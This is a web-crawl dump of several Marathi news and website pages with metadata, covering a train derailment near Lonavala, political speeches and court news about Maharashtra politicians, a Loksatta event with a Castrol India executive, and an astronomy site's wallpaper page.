अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00373.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/pune/central-railway-helps-madurai-express-travellers-128706", "date_download": "2018-09-25T17:22:19Z", "digest": "sha1:CROVCLN2CFF4VIK6RIXZ5DG3UOZYV72R", "length": 11010, "nlines": 172, "source_domain": "www.esakal.com", "title": "Central Railway helps Madurai Express Travellers मदुराई एक्सप्रेसचा अपघात; मध्य रेल्वेच्या पुणे विभागाचा मदतीचा हात | eSakal", "raw_content": "\nमदुराई एक्सप्रेसचा अपघात; मध्य रेल्वेच्या पुणे विभागाचा मदतीचा हात\nशुक्रवार, 6 जुलै 2018\nप्रवाशांची अवस्था लक्षात घेऊन मध्य रेल्वेच्या पुणे विभागाने गाडीतील सुमारे 1200 प्रवाशांना पोहे आणि चहाचे मोफत वाटप केले आणि त्यांना धीर देण्याचा प्रयत्न केला.\nमुंबई : मदुराई एक्सप्रेसचे काही डबे लोणावळ्याजवळ मंकी हिल येथे पहाटे पावणे तीनच्या सुमारास घसरले. त्यानंतर तब्बल साडेतीन तास प्रवासी गाडीत अडकले होते. घाटात पाऊसाची संततधार सुरुच असल्याने प्रवाशांमध्ये भीतीचे वातावरण निर्माण झाले होते.\nमदुराई एक्सप्रेसला अपघात झाल्याने पुणे - मुंबई मार्गावरील रेल्वे वाहतूक विस्कळीत झाली. ही गाडी सकाळी साडेसात वाजता पुणे स्टेशनवर पोहोचली. प्रवाशांची अवस्था लक्षात घेऊन मध्य रेल्वेच्या पुणे विभागाने गाडीतील सुमारे 1200 प्रवाशांना पोहे आणि चहाचे मोफत वाटप केले आणि त्यांना धीर देण्याचा प्रयत्न केला. मदुराई एक्सप्रेसमधील सर्व प्रवाशांसाठी सोलापूर स्थानकावर दुपारच्या जेवणाचीही व्यवस्था करण्यात आली आहे.\nपुणे विभागाचे व्यवस्थापक मिलिंद देऊसकर, वरिष्ठ वाणिज्य अधिकारी कृष्णाथ पाटील यांच्यासह अनेक अधिकारी पहाटे पावणे तीन वाजल्यापासून यासाठी प्रयत्नशील होते. मदुराई एक्सप्रेस पुण्यातून सकाळी 8 वाजता रवाना झाली.\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\n'2022 पर्यंत रेल्वेचे संपूर्ण विद्युतीकरण'\nनवी दिल्ली- हजारो किलोमीटरच्या लोहमार्गांचे प्रचंड जाळे असलेल्या भारतीय रेल्वेचे संपूर्ण विद्युतीकरण करण्यासाठी रेल्वे मंत्रालयाने2022 ही नवी डेडलाइन...\nकोल्हापूर येथे अपघातामध्ये वडणगेची महिला ठार\nकोल्हापूर - येथील सीपीआर चौकात आज दुचाकी व एस टी अपघात झाला. यात वडणगे येथील महिला ठार झाली. फुलाबाई बाबासाहेब अस्वले (55 वडणगे) असे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00373.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/pune/continuous-capitalism-center-and-state-says-prithviraj-chavan-138840", "date_download": "2018-09-25T18:00:03Z", "digest": "sha1:XHXVBRQHH2XICA3H6YL7AZFESOGZUFWS", "length": 15824, "nlines": 191, "source_domain": "www.esakal.com", "title": "Continuous capitalism in the center and the state says Prithviraj Chavan केंद्र व राज्यात संकुचित भांडवलशाही सुरू - पृथ्वीराज चव्हाण | eSakal", "raw_content": "\nकेंद्र व राज्यात संकुचित भांडवलशाही सुरू - पृथ्वीराज चव्हाण\nमंगळवार, 21 ऑगस्ट 2018\nपुणे - लोकशाहीच्या सक्षमीकरणासाठी असलेल्या वैधानिक संस्थांमध्ये राष्ट्रीय स्वयंसेवक संघाशी संबंधित लोकांना घुसविणे, संस्थांचे अवमूल्यन करून निष्प्रभ करणे, देशाचे संविधान धर्म असल्याचे सांगून पद्धतशीर संविधान बाजूला सारून कारभार सुरू आहे. सध्या केंद्र व राज्य सरकार केवळ मूठभर उद्योजकांच्या हिताचे निर्णय घेत संकुचित भांडवलशाही राज्यप्रणाली राबवीत असल्याचा आरोप माजी मुख्यमंत्री पृथ्वीराज चव्हाण यांनी सोमवारी केला.\nपुणे - लोकशाहीच्या सक्षमीकरणासाठी असलेल्या वैधानिक संस्थांमध्ये राष्ट्रीय स्वयंसेवक संघाशी संबंधित लोकांना घुसविणे, संस्थांचे अवमूल्यन करून निष्प्रभ करणे, देशाचे संविधान धर्म असल्याचे सांगून पद्धतशीर संविधान बाजूला सारून कारभार सुरू आहे. सध्या केंद्र व राज्य सरकार केवळ मूठभर उद्योजकांच्या हिताचे निर्णय घेत संकुचित भांडवलशाही राज्यप्रणाली राबवीत असल्याचा आरोप माजी मुख्यमंत्री पृथ्वीराज चव्हाण यांनी सोमवारी केला.\nटिळक स्मारक मंदिर येथे राजीव गांधी स्मारक समिती आणि पुणे शहर जिल्हा कॉंग्रेस कमिटीच्या वतीने आयोजित राजीव गांधी सप्ताह कार्यक्रमात \"देशापुढील आर्थिक आव्हाने' या विषयावर ते बोलत होते. या वेळी अध्यक्षस्थानी प्रदेशाध्यक्ष अशोक चव्हाण, राज्यसभेचे खासदार कुमार केतकर, शहराध्यक्ष रमेश बागवे, माजी आमदार मोहन जोशी, गोपाळी तिवारी यांच्यासह कार्यकर्ते उपस्थित होते.\nचव्हाण म्हणाले,\"\"पंचवार्षिक योजना, नियोजन आयोग बरखास्त करून देशात अमेरिकाधार्जिणे धोरणे राबविली जात आहेत. अर्थव्यवस्था मोजण्याची व्याख्याच बदलल्यामुळे नेमका विकासदर मोजता येत नाही. राष्ट्रीय सांख्यिकी संस्थेद्वारे प्रसिद्ध केलेल्या आकडेवारीनुसार देशाचा दरडोई विकासदर 6.5 इतका घसरला आहे. त्याला कारण अविचारी नोटबंदी आणि जीएसटी लागू करण्याची घाई. मेक इन इंडिया, स्टार्टअप इंडिया, मॅग्नेटिक महाराष्ट्रमध्ये एकही बहुराष्ट्रीय कंपनी राज्यात आली नाही. व्यापारसुलभतेमध्ये राज्याचा 13 वा क्रमांक आणि विकासदरामध्ये पाचवा क्रमांक लागतो. लादली जात असलेली बुलेट ट्रेन, सिडको जमीन घोटाळा, समृद्धी महामार्ग घोटाळा अशा घोटाळ्यांमध्ये राज्य सरकार चर्चेत राहिले आहे.''\n\"राजीव गांधी नंतरचा भारत' विषयावर केतकर म्हणाले, \"\"धर्मावर आधारित राष्ट्र कधीच टिकत नाही. शस्त्र आणि धर्मसामर्थ्य वाढवून देशात हिंदू धर्माची सत्ता आणण्याची रणनीती आखली जात आहे. जागतिकीकरण, खासगीकरण आणि उदारीकरणामुळे संगणकक्रांती झाली, त्याची बीजे राजीव गांधी यांच्या दूरदृष्टी नियोजनात आहे. मोदींनी केवळ खोटी आश्‍वासने दिली, परदेश दौऱ्यांच्या खर्चा इतकीदेखील गुंतवणूक देशात आली नाही.''\nकेंद्र व राज्य सरकारने देशात एकही कारखाना आणला नसला, तरी घोषणांचा कारखाना मात्र जोरात सुरू आहे. भपकेबाज जाहिराती, खोटी आकडेवारी देऊन तरुणाईला भुलविण्याने लोकांमध्ये संभ्रमाचे वातावरण तयार केले जात आहे. संविधान वाचविण्यासाठी आपल्याला रस्त्यावर उतरल्याशिवाय पर्याय नाही, असे आवाहन प्रदेशाध्यक्ष अशोक चव्हाण यांनी या वेळी केले.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00373.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://www.loksatta.com/mumbai-news/rashmi-joshi-castrol-india-loksatta-viva-lounge-1664432/", "date_download": "2018-09-25T17:12:41Z", "digest": "sha1:GUJKVQOTB3M25JZYJ2X6ZRNO7Z6GM2WS", "length": 15954, "nlines": 207, "source_domain": "www.loksatta.com", "title": "rashmi joshi castrol india loksatta viva lounge | ‘कॅस्ट्रोल इंडिया’च्या रश्मि जोशी ‘व्हिवा लाउंज’मध्ये | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\n‘कॅस्ट्रोल इंडिया’च्या रश्मि जोशी ‘व्हिवा लाउंज’मध्ये\n‘कॅस्ट्रोल इंडिया’च्या रश्मि जोशी ‘व्हिवा लाउंज’मध्ये\nलोकसत्ता ‘व्हिवा लाउंज’चे नवे पर्व हे अर्थकारण लीलया सांभाळणाऱ्या रश्मि जोशी यांच्या उपस्थितीने रंगणार आहे\nआपल्याला जे जे साध्य करायचे आहे ते आपण सहजपणे मिळवू शकतो. फक्त त्यासाठी आपली इच्छाशक्ती हवी, प्रयत्न हवेत. आपल्या क्षमतांना आपले संकुचित विचारच अडथळे निर्माण करू शकतात, हे ठामपणे मांडणाऱ्या रश्मि जोशी आज ‘कॅस्ट्रोल इंडिया’सारख्या मोठय़ा कंपनीचा अर्थपसारा सहज सांभाळत आहेत. स्त्रिया आज प्रत्येक क्षेत्रात पुरुषांच्या खांद्याला खांदा लावून काम करतायेत, हे आपण सहजपणे मांडत राहतो मात्र आपल्या कर्तृत्वाने ते सिद्ध करून दाखवणाऱ्यांमध्ये रश्मि जोशी यांचे नाव अग्रक्रमाने घेतले जाते. ‘कॅस्ट्रोल इंडिया’च्या पूर्णवेळ संचालक आणि प्रमुख वित्तीय अधिकारी असलेल्या रश्मि जोशी यांच्याशी ‘व्हिवा लाउंज’मध्ये गप्पा मारण्याची संधी मिळणार आहे.\nलोकसत्ता ‘व्हिवा लाउंज’चे नवे पर्व हे अर्थकारण लीलया सांभाळणाऱ्या रश्मि जोशी यांच्या उपस्थितीने रंगणार आहे. ‘केसरी’ प्रस्तुत ‘व्हिवा लाउंज’च्या गप्पांचा हा कार्यक्रम २० एप्रिलला, शुक्रवारी मुलुंड पश्चिमेकडील ‘महाराष्ट्र सेवा संघ’ येथे संध्याकाळी सहा वाजता होणार आहे. कॉर्पोरेट विश्वात अग्रगणी असलेल्या महिला अधिकाऱ्यांविषयी आपल्याला कायम अप्रूप वाटत असते. पुरुषांची मक्तेदारी असलेल्या या क्षेत्रात स्वत:च्या कर्तृत्वाने आपले स्थान निर्माण करणे हे सहजसोपे नाही पण ते अशक्यही नाही. अत्यंत किचकट आणि व्यवहारी असलेल्या या क्षेत्रात केवळ अधिकारी पद मिळवून त्यापुरते रश्मि जोशी मर्यादित राहिलेल्या नाहीत. तर त्यांनी आपल्या कामाच्या धबडग्यातही आपले कलासक्त मन जपले आहे. गेली २५ वर्षे त्या कॉर्पोरेट क्षेत्रात आहेत. ‘कॅस्ट्रोल इंडिया’मध्ये कार्यकारी संचालक म्हणून रुजू झालेल्या त्या पहिला महिला अधिकारी होत्या. याआधी त्यांनी सिंगापूरमध्ये चार वर्षे ‘कॅस्ट्रोल’च्या आशिया-पॅसिफिक विभागाचे काम पाहिले होते. त्यावेळी १७ देशांमधील कंपनीच्या व्यवसायाची जबाबदारी त्यांच्यावर होती. कंपनीने टाकलेल्या या जबाबदाऱ्या सार्थ ठरवत त्या आज ‘कॅस्ट्रोल इंडिया’च्या संचालक आणि प्रमुख वित्तीय अधिकारी या पदावर विराजमान झाल्या आहेत.\nत्यांच्या कार्याचा आवाका जितका मोठा आणि थक्क करणारा आहे तितकाच त्यांचा प्रत्येक छोटय़ा गोष्टींमध्ये आनंद घेणारा स्वभावही आपल्याला आश्चर्यात टाकणारा आहे. रश्मि यांचा जन्म डोंबिवलीत झाला. येथील स. वा. जोशी विद्यालयातून त्यांनी आपले शिक्षण पूर्ण केले. त्यानंतर मुलुंडच्या ‘कॉलेज ऑफ कॉमर्स’मधून आपले पदवी शिक्षण त्यांनी पूर्ण केले. त्यानंतर त्या सनदी लेखापाल झाल्या.\nआज आर्थिक क्षेत्राचे सुकाणू त्यांच्या हातात असले तरी त्या बॉलीवूडपटांमध्येही तितकाच रस घेतात, संगीत त्यांना आवडते, प्रवास करायला आवडतो. कर्तृत्व आणि छंद दोन्हींचा ताळमेळ यशस्वीरीत्या साधलेल्या रश्मि जोशी यांचा आजवरचा प्रवास जाणून घेण्याची संधी ‘व्हिवा लाउंज’ या कार्यक्रमातून मिळणार आहे. या कार्यक्रमासाठी प्रथम येणाऱ्यास प्राधान्य या तत्त्वावर प्रवेश दिला जाईल. काही जागा निमंत्रितांसाठी राखीव ठेवण्यात येतील.\nकधी : सायंकाळी ६ वाजता, शुक्रवार, २० एप्रिल\nकुठे : ‘महाराष्ट्र सेवा संघ’ मुलुंड पश्चिम\nप्रवेश: या कार्यक्रमासाठी प्रथम येणाऱ्यास प्राधान्य या तत्त्वावर प्रवेश दिला जाईल.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00373.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://dk5wv51hv3hj1.cloudfront.net/gulmohar/marathi-lekh", "date_download": "2018-09-25T16:51:23Z", "digest": "sha1:SRQUVXAZG3D2Y2GQR3JH6OS5I3EVCMBZ", "length": 3916, "nlines": 96, "source_domain": "dk5wv51hv3hj1.cloudfront.net", "title": "हितगुज ग्रूप: गुलमोहर - ललितलेखन | Marathi Lekh | Marathi articles | Maayboli", "raw_content": "\nगुलमोहर - ललित / संकीर्ण / स्फुट लेखन मराठी लेख\nसुंठीची कढी लेखनाचा धागा\nमन मंदिरा लेखनाचा धागा\nअशी ही बनवाबनवी लेखनाचा धागा\nचुटपुट लावून गेलेली आठवण..(पु. ल. देशपांडे) लेखनाचा धागा\n प्रकरण १ भाग १ लेखनाचा धागा\n भाग ४ – मुंडारिंग विअर लेखनाचा धागा\nपरमहंसांची दाल-बाटी लेखनाचा धागा\n भाग ३ – क्विनाना, लेक क्लिफ्टन, वार्नब्रो लेखनाचा धागा\nमाझी सैन्यगाथा (भाग १४) लेखनाचा धागा\nदरवर्षी असं होतं... लेखनाचा धागा\nये दिन क्या आये लगे फूल हँसने ... लेखनाचा धागा\nएका गुरू ची गोष्ट लेखनाचा धागा\nकभी कभी लगता है अपुन ही भगवान है (सेक्रेड गेम्स ) लेखनाचा धागा\nनेहमी पडणारी स्वप्ने लेखनाचा धागा\n'हल्लीच्या मुली' लेखनाचा धागा\nमैत्र - ५ (वक्तृत्व स्पर्धा) लेखनाचा धागा\nयाला मूर्खपणा नव्हे तर काय म्हणावे\nठोकळ्यांचा कारखाना... लेखनाचा धागा\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00374.warc.wet.gz", "language": "mr", "language_score": 0.88, "bucket": "all"} {"url": "http://www.esakal.com/maharashtra/there-no-political-against-chavans-prosecution-41174", "date_download": "2018-09-25T17:46:00Z", "digest": "sha1:I2DWTETDRFO2C3V25ROYLOGVHXFPYA6O", "length": 11832, "nlines": 172, "source_domain": "www.esakal.com", "title": "There is no political against Chavan's prosecution चव्हाण यांच्यावरील खटल्यामागे राजकीय सूडबुद्धी नाही! - राज्य सरकार | eSakal", "raw_content": "\nचव्हाण यांच्यावरील खटल्यामागे राजकीय सूडबुद्धी नाही\nशुक्रवार, 21 एप्रिल 2017\nमुंबई - आदर्श प्रकरणात माजी मुख्यमंत्री अशोक चव्हाण यांच्याविरुद्ध खटला भरण्याच्या निर्णयाचे राज्य सरकारने गुरुवारी (ता. 20) उच्च न्यायालयात समर्थन केले. हा निर्णय राजकीय सूडबुद्धीने घेतला नाही, असेही सरकारतर्फे स्पष्ट करण्यात आले.\nमुंबई - आदर्श प्रकरणात माजी मुख्यमंत्री अशोक चव्हाण यांच्याविरुद्ध खटला भरण्याच्या निर्णयाचे राज्य सरकारने गुरुवारी (ता. 20) उच्च न्यायालयात समर्थन केले. हा निर्णय राजकीय सूडबुद्धीने घेतला नाही, असेही सरकारतर्फे स्पष्ट करण्यात आले.\nचव्हाण यांच्यावर खटला दाखल करण्यास सीबीआयला नुकतीच राज्यपालांनी परवानगी दिली होती. चव्हाण यांनी मुख्यमंत्री या नात्याने आदर्शशी संबंधित फायली हाताळताना घेतलेले निर्णय आणि या प्रकरणी त्यांच्या नातलगांना झालेला फायदा यांचा निश्‍चित संबंध दिसतो, असे प्रथमदर्शनी मत राज्यपालांनी परवानगी देताना नोंदवले होते. या प्रकरणाची चौकशी करण्यासाठी नेमलेल्या आयोगानेही चव्हाण यांच्यावर गुन्हेगारी स्वरूपाचा ठपका ठेवला होता, असे सरकारने आज प्रतिज्ञापत्रावर सांगितले आहे. राज्यपालांच्या मंजुरीला आव्हान देणाऱ्या चव्हाण यांच्या याचिकेवर आज न्या. रणजित मोरे व न्या. अनुजा प्रभुदेसाई यांच्यासमोर सुनावणी झाली. राज्यपालांचा निर्णय चुकीचा असल्याचा चव्हाण यांचा दावा होता, तर राज्यपालांनी मंत्रिमंडळाचे मत मागवून मगच सर्व बाजू तपासून निर्णय घेतला, असे सरकारचे म्हणणे आहे.\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nत्या दोन रुग्णांचा मृत्यू स्वाईन फ्ल्यूमुळे नाहीच...\nपणजी : काही दिवसांपूर्वीच मडगावमध्ये आणि गोवा वैद्यकीय महाविद्यालय, बाबोळी येथे दोन रुग्ण दगावले. हे दोन्ही रुग्ण स्वाईन फ्ल्यूमुळे नाही तर हृदयाच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00375.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://avakashvedh.com/sangrah/wallpapers.html", "date_download": "2018-09-25T16:43:30Z", "digest": "sha1:KAJA66NPXDGDIMDIUCSKHNO6WGKKIC55", "length": 7357, "nlines": 137, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखालील वॉलपेपर्सवर क्लिक केल्यास ती मोठ्या साइजमध्ये पाहू शकता. 'पूर्ण चित्र' आल्यावर त्यावर माऊसने 'राईट क्लिक' करून 'Save Picture As' वर क्लिक करून ते चित्र आपल्या कॉम्प्युटर मध्ये साठवू शकता. अथवा 'Set as Wallpaper किंवा Set as Background' वर क्लिक केल्यास ते चित्र आपल्या कॉम्प्युटरच्या मुख्य स्क्रीनवर येईल.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00376.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/story-of-psycho-killer-who-sexually-assaulted-and-ate-17-young-men-5955755.html", "date_download": "2018-09-25T16:35:54Z", "digest": "sha1:ERXLHEVSQDSU3BKPYXU45ATAAMXTD27E", "length": 10520, "nlines": 155, "source_domain": "divyamarathi.bhaskar.com", "title": "story of psycho killer who sexually assaulted and ate 17 young men | तरुणांना Drugs देऊन करायचा बलात्कार, मग हत्या करून शिजवून खात होता त्यांचे मांस; पोलिस म्हणाले, हा तर जिवंत राक्षस!", "raw_content": "\nदिव्य मराठी विशेष 